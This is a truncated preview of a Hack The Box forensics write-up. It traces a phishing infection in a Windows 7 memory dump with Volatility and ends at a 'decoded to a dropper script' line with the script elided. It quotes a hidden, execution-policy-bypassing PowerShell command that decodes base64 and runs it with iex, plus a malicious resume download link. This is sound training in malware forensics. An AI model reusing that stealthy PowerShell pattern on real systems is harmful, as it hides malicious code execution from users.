$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Memory dump from Windows VM with suspicious PowerShell activity after phishing email. Solution: Volatility process/cmdline analysis, decode base64 PowerShell payloads (ASCII and UTF-16LE), find Empire stager with embedded flag.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Suspicious traffic was detected from a recruiter's virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.
flounder-pc-memdump.elf - Memory dump from Windows 7 SP1 x64 VMimageinfo.txt - Volatility profile information (Win7SP1x64)Resume.eml - Recovered email with malicious linkExtracted the challenge archive (password: hackthebox) and examined the files:
http://10.10.99.55:8080/resume.zipThe attack chain becomes clear: phishing email with malicious resume link.
Listed processes from the memory dump using Volatility 3:
vol -f flounder-pc-memdump.elf windows.pslist
Key findings:
| Process | PID | Parent | Time | Notes |
|---|---|---|---|---|
| thunderbird.exe | 2812 | - | - | Email client (opened malicious email) |
| powershell.exe | 496 | explorer.exe | 18:06:58 | First stage payload |
| powershell.exe | 2752 | 496 | 18:07:00 | Second stage (Empire stager) |
The process tree reveals the infection chain: Thunderbird -> Explorer -> PowerShell -> PowerShell
vol -f flounder-pc-memdump.elf windows.cmdline
Found two PowerShell processes with encoded payloads.
The first PowerShell had a base64-encoded command:
powershell.exe -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('...')); iex $r;
Decoded to a dropper script:
...
$ grep --similar